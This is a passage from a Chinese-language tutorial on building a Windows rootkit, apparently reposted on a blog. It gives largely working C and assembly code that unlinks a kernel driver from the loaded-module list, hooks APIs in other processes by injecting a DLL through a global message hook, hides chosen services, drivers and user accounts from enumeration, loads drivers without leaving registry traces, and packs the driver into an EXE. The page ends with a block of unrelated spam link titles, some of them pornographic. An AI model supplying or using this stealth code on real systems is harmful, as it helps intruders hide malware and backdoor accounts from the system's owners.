            DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
            {
            ......
            if (DriverObject)
            {
            //驅動程序對象+14h處是PsLoadedModuleList地址
            if ((lpModuleEntry=*((LPMODULE_ENTRY *)
            ((DWORD)DriverObject+0x14)))==NULL)
            {
            //錯誤處理
            }
            }

            return (DWORD)lpModuleEntry; //返回PsLoadedModuleList地址
            }

            NTSTATUS HideAmlName (TCHAR *HideModule)
            {
            if (ModuleEntry)
            CurrentModuleEntry=ModuleEntry;
            else
            return STATUS_UNSUCCESSFUL;
            //這是雙向鏈表
            while ((LPMODULE_ENTRY)CurrentModuleEntry->ListEntry.Flink!=ModuleEntry)
            {
            if ((CurrentModuleEntry->Unknown1!=0) &&
            (CurrentModuleEntry->DriverPath.Length!=0))
            {
            RtlUnicodeStringToAnsiString(&DriverNameAnsi,
            &CurrentModuleEntry->DriverName,TRUE);

            if (_strnicmp(HideModule,DriverNameAnsi.Buffer,
            strlen(DriverNameAnsi.Buffer))==0)
            {
            *((DWORD *)CurrentModuleEntry->ListEntry.Blink)=
            (DWORD)CurrentModuleEntry->ListEntry.Flink;
            CurrentModuleEntry->ListEntry.Flink->Blink=
            CurrentModuleEntry->ListEntry.Blink;
            break;
            }
            }
            //向下移動
            CurrentModuleEntry=(LPMODULE_ENTRY)
            CurrentModuleEntry->ListEntry.Flink;
            }

            return STATUS_SUCCESS;
            }

            從PsLoadedModuleList鏈上摘除內核模塊后,ZwQuerySystemInformation函數就無法枚舉出它了。


            九、用戶態HOOK


            用戶態的HOOK有很多方法,比如修改函數的前5個字節,修改輸入表等,這里采用eyas大哥的方法COPY DLL,主要是這種方法效率不錯。HOOK新進程采用消息鉤子,所以需要編寫成DLL。

            HOOK的步驟首先將需要HOOK的DLL加載到當前進程的地址空間中,然后使用PSAPI中的GetModuleInformation函數獲取DLL信息,目的是得到DLL的加載地址。

            BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)
            {
            //取得摸快句炳
            if ((lpHookDllInfo->hModule=LoadLibrary(Name))==NULL)
            {
            //錯誤處理
            }

            //獲取摸快信息
            if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo->hModule,
            &lpHookDllInfo->ModuleInfo,sizeof(MODULEINFO)))
            {
            //錯誤處理
            }

            if ((lpHookDllInfo->NewBase=malloc
            (lpHookDllInfo->ModuleInfo.SizeOfImage))==NULL)
            {
            //錯誤處理
            }

            //取得摸快地址
            memcpy(lpHookDllInfo->NewBase,lpHookDllInfo->ModuleInfo.lpBaseOfDll,
            lpHookDllInfo->ModuleInfo.SizeOfImage);
            return TRUE;
            }

            DLLINFO是一個自定義結構,保存著模塊的句柄、地址等。DLL加載后,模塊信息也有了,下面使用GetProcAddress函數取HOOK函數地址,VirtualQuery函數獲取虛擬內存信息,VirtualProtect函數改變頁面屬性,最后修改原函數的地址(GetProcAddress函數的返回值)使其指向我們的代碼。

            BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)
            {
            //取得需要HOOK函數的地址
            if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo->hModule,Name))==NULL)
            {
            //錯誤處理
            }

            //獲取虛擬內存信息
            if (!VirtualQuery((LPVOID)OrigFunc,&mbi,
            sizeof(MEMORY_BASIC_INFORMATION)))
            {
            //錯誤處理
            }

            //改變頁面屬性為讀,寫,執行
            if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,
            PAGE_EXECUTE_READWRITE,&Protect))
            {
            //錯誤處理
            }

            //HOOK
            JmpCode.mov_eax=(BYTE)0xB8;
            JmpCode.address=(LPVOID)OldFunc;
            JmpCode.jmp_eax=(WORD)0xE0FF;

            //計算原函數地址
            *NewFunc=OrigFunc - (DWORD)lpHookDllInfo->ModuleInfo.lpBaseOfDll
            + (DWORD)lpHookDllInfo->NewBase;
            //修改原函數地址,指向OldFunc
            memcpy((LPVOID)OrigFunc,(UCHAR *)&JmpCode,sizeof(ASMJUMP));
            return TRUE;
            }

            JmpCode是HOOK結構,保存著我們的函數的地址和JMP的跳轉地址。有了上面這2個函數,就可以HOOK任何DLL中的函數了,例如枚舉用戶使用的是NetUserEnum函數,封裝在Netapi32.dll中,HOOK例子如下:

            DWORD WINAPI HookMain (LPVOID lpNot)
            {
            if (!(InitHookDll("netapi32.dll",&Netapi32)))
            {
            //錯誤處理
            }

            if (!(HookUserApi(&Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,
            &NewNetUserEnum)))
            {
            //錯誤處理
            }

            ......
            }

            HookMain函數需要在DllMain中調用,因為消息鉤子加載DLL后,就應該立刻進行API HOOK。Netapi32是DLLINFO結構,保存著Netapi32.dll的信息;HookNetUserEnum是我們的函數,NewNetUserEnum是原函數地址。現在只差消息鉤子函數了,安裝/卸載消息鉤子的函數需要引出,消息鉤子的類型是WH_GETMESSAGE,鉤子回調函數什么都不做,只是向下傳遞,因為我們的目的是使新進程加載DLL。

            LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)
            {
            //向下傳遞
            return CallNextHookEx(hHook,nCode,wParam,lParam);
            }

            extern "C" __declspec(dllexport) BOOL InstallHook()
            {
            //安裝鉤子
            if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,
            hInst,0))==NULL)
            {
            //錯誤處理
            }
            return TRUE;
            }

            extern "C" __declspec(dllexport) BOOL UninstallHook()
            {
            //卸載鉤子
            return UnhookWindowsHookEx(hHook);
            }

            hInst是在DllMain函數中保存的句柄,這是必須的,否則鉤子不會安裝成功。用戶態的HOOK有很多種方法,用哪個隨便你了,只要能HOOK API就行!下面介紹隱藏服務/驅動。


            十、隱藏服務/驅動


            枚舉服務使用的是Advapi32.dll中的5個函數,這5個函數在每個Windows系統中的聯系都不一樣,所以需要HOOK所有函數。

            EnumServicesStatusA()
            EnumServicesStatusW()
            EnumServicesStatusExA()
            EnumServicesStatusExW()
            EnumServiceGroupW()

            這5個函數中,前4個是公開的,在MSDN中均有敘述,只有最后一個是MS沒有公開的,而且只有Unicode版的函數。它的參數和其他4個函數基本一樣,返回的結構是LPENUM_SERVICE_STATUS,這個結構也是EnumServicesStatus函數所返回的。5個函數中都有一個dwServiceType參數,表示服務類型,SERVICE_WIN32表示標準Win32服務,SERVICE_DRIVER表示設備驅動。lpServicesReturned為返回服務總數,隱藏的方法還是memcpy移動緩沖區。我們以EnumServiceGroupW函數為例,來看一下代碼。

            BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,……)
            {
            ......
            __asm
            {
            //參數入棧,注意順序,要遵循__stdcall調用約定
            push dwUnknown
            push lpResumeHandle
            push lpServicesReturned
            push pcbBytesNeeded
            push cbBufSize
            push lpServices
            push dwServiceState
            push dwServiceType
            push hSCManager
            mov eax,NewEnumServiceGroupW //原函數地址放入EAX
            call eax //請求
            mov sRet,eax //返回值
            }

            if (sRet)
            {
            //處理服務和驅動
            if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)
            {
            //指向服務列表緩沖區
            lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;
            for (DWORD n=0; n<*lpServicesReturned; n++)
            {
            ......
            if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,
            strlen(ServiceNameAnsi))==0)
            {
            //向前移動服務列表緩沖區
            memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),
            ((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));
            (*lpServicesReturned)--; //總數要-1
            n--;
            }
            }
            }
            }

            return sRet;
            }

            上邊的代碼應該很容易理解了,我們隱藏服務/驅動,只需要判斷服務名,所以dwServiceType就一塊處理了,不必分開。另外請求原函數要遵循__stdcall調用約定,參數從右向左順序入棧,最后將原函數地址放入EAX中CALL即可。


            十一、隱藏用戶


            枚舉用戶有3種方法,其一是使用Netapi32.dll中的函數,另一個就是枚舉注冊表的SAM鍵了。隱藏注冊表前邊已經說過了,這里說一下Netapi32.dll導出的3個函數:

            NetUserEnum()
            NetGroupGetUsers()
            NetQueryDisplayInformation()

            第一個函數是枚舉用戶;第二個函數是獲取組內的用戶,但根據MSDN的描述,這個函數只適用于域控制器;第三個函數可以枚舉用戶、組和計算機。NetUserEnum函數支持8種枚舉類型,每種類型返回的結構有些不同(其實只是結構成員的名字不同),需要分別處理,另外2個函數也有多種類型,但只有一種是枚舉用戶的,HOOK這個類型就可以了。3個函數的隱藏方法都是memcpy移動緩沖區,這里以NetUserEnum函數、枚舉類型為0進行介紹,其他2個函數和它是一樣的,只是結構體不同。

            NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,……)
            {
            ......
            __asm
            {
            push resume_handle
            push totalentries
            push entriesread
            push prefmaxlen
            push bufptr
            push filter
            push level
            push servername
            mov eax,NewNetUserEnum
            call eax
            mov nStatus,eax
            }

            if ((nStatus==NERR_Success) && (bufptr!=NULL))
            {
            if (level==0) //處理枚舉類型為0
            {
            //注意bufptr是2級指針
            LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);
            if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))
            {
            for (DWORD n=0;n<*entriesread;n++)
            {
            ......
            if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,
            strlen(UserNameAnsi))==0)
            {
            //向前移動用戶列表緩沖區
            memcpy((lpUserInfo+n),(lpUserInfo+n+1),
            ((*entriesread)-n-1) * sizeof (USER_INFO_0));
            (*entriesread)--; //總數--
            n--;
            }
            }
            }
            }

            ......
            }

            return nStatus;
            }

            Level表示枚舉類型,MSDN中有詳細的定義。這3個函數都是Unicode版本,沒有ANSI。


            十二、驅動的加載與整合


            加載驅動一般都是使用Servcie API,但Servcie API創建的服務會在注冊表留下痕跡,這不是我們想要的,應該使用一種更好的方法。Native API有2個函數,可以實現驅動的動態加/卸載,不用寫注冊表,它們是ZwLoadDriver和ZwUnloadDriver函數。使用這2個函數加/卸載驅動,也需要寫一下注冊表,不過只是配合這2個函數,待驅動加/卸載完成后,就可以刪除建立的注冊表項,也就是說,我們建立的注冊表項最多停留幾秒。需要建立的注冊表項就是一些服務的鍵值,比如Type(服務類型),Start(啟動類型),ImagePath(驅動路徑)等,完整的代碼在DevelopmentSetRegistry函數中,就不帖出來了,只帖出動態加/卸載的函數代碼。注:動態加/卸載驅動時,已經完成了設置注冊表,動態加/卸載驅動后,還要刪除注冊表項,切記。

            BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)
            {
            ......
            //加載ntdll.dll
            if ((hModule=LoadLibrary("ntdll.dll"))==NULL)
            {
            //錯誤處理
            }

            //取得若干函數的地址
            ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");
            ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");
            RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress
            (hModule,"RtlInitUnicodeString");
            RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress
            (hModule,"RtlNtStatusToDosError");

            swprintf(RegDriver,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s",
            DriverName);
            RtlInitUnicodeString(&ModuleNameWide,RegDriver);

            if (LoadBelong) //TRUE 加載
            {
            //加載驅動
            ntStatus=ZwLoadDriver(&ModuleNameWide);
            ......
            }

            if (!LoadBelong) //FALSE卸載
            {
            //卸載驅動
            ntStatus=ZwUnloadDriver(&ModuleNameWide);
            ......
            }

            return TRUE;
            }

            我們需要使用一個EXE來操作SYS,這樣帶著2個文件滿處跑肯定不方便,所以有必要將其整合。整合的方法有很多,比如放在EXE結尾、將SYS轉化為16進制代碼,或者做成資源文件。相比之下,做成資源文件比較簡單,也不會給EXE增加太多的體積,運行時一釋放就OK了。釋放資源需要一系列資源函數,最后使用fwrite將文件寫入硬盤。我寫了一個ReleaseResource函數,用于實現這個功能。

            BOOL ReleaseResource (TCHAR *DriverPath)
            {
            ......
            //查找資源 SYS是資源名 SYSRES是資源類名
            if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)
            {
            //錯誤處理
            }

            //加載資源
            if ((hLoad=LoadResource(NULL,hFind))==NULL)
            {
            //錯誤處理
            }

            //取得資源大小
            if ((Size=SizeofResource(NULL,hFind))==0)
            {
            //錯誤處理
            }

            //取得釋放地址
            if ((LockAddr=LockResource(hLoad))==NULL)
            {
            //錯誤處理
            }

            //打開文件
            if ((fp=fopen(DriverPath,"wb"))==NULL)
            {
            //錯誤處理
            }

            //寫入
            fwrite(LockAddr,1,Size,fp);
            ......
            }

            有了這個函數,就可以只帶著EXE滿世界跑了。
            文章寫了這么長,是時候結束了,從上面的講解中不難看出,我們只要對Windows內核有一點了解,就可以開發一個簡單的Rootkit,光盤中包含了本文完整的源代碼,如對本文有任何問題,歡迎發郵件給我dahubaobao@eviloctal.com

            十三、附錄下載

            FileInfo(枚舉文件目錄結構)
            包含隱藏服務/驅動、用戶以及用戶態HOOK的DLL程序
            包含隱藏進程、文件/目錄、端口、注冊表和內核模塊的SYS以及加載程序
            posted on 2008-06-10 21:55 saga.constantine 閱讀(2122) 評論(0)  編輯 收藏 引用
            久久久噜噜噜久久熟女AA片| 久久精品青青草原伊人| 亚洲av日韩精品久久久久久a| 人人妻久久人人澡人人爽人人精品| 久久久久久综合网天天| 欧美大香线蕉线伊人久久| 色偷偷888欧美精品久久久| 久久亚洲精品国产亚洲老地址| 亚洲中文字幕无码久久2017| 国产精品一久久香蕉产线看| 青青草国产成人久久91网| 精品国产日韩久久亚洲| 韩国三级大全久久网站| 久久无码专区国产精品发布| 国产精品青草久久久久福利99| 久久久久久久人妻无码中文字幕爆| 久久WWW免费人成—看片| 久久亚洲精品无码AV红樱桃| 日本精品久久久久影院日本| 国产精品久久自在自线观看| 日本高清无卡码一区二区久久| 精品国产91久久久久久久a| 中文字幕乱码久久午夜| 久久久久亚洲爆乳少妇无| 99久久免费国产特黄| 奇米综合四色77777久久| 久久免费香蕉视频| 很黄很污的网站久久mimi色| 久久精品国产99国产精偷| 成人久久免费网站| 亚洲AV无一区二区三区久久| 欧美性猛交xxxx免费看久久久| 亚洲国产精品综合久久网络| 精品久久久久中文字幕一区| 久久精品九九亚洲精品天堂| 久久精品aⅴ无码中文字字幕不卡 久久精品aⅴ无码中文字字幕重口 | 久久久久久久久久久精品尤物| 伊人久久国产免费观看视频 | 99热精品久久只有精品| 久久青青草原国产精品免费 | 色悠久久久久久久综合网|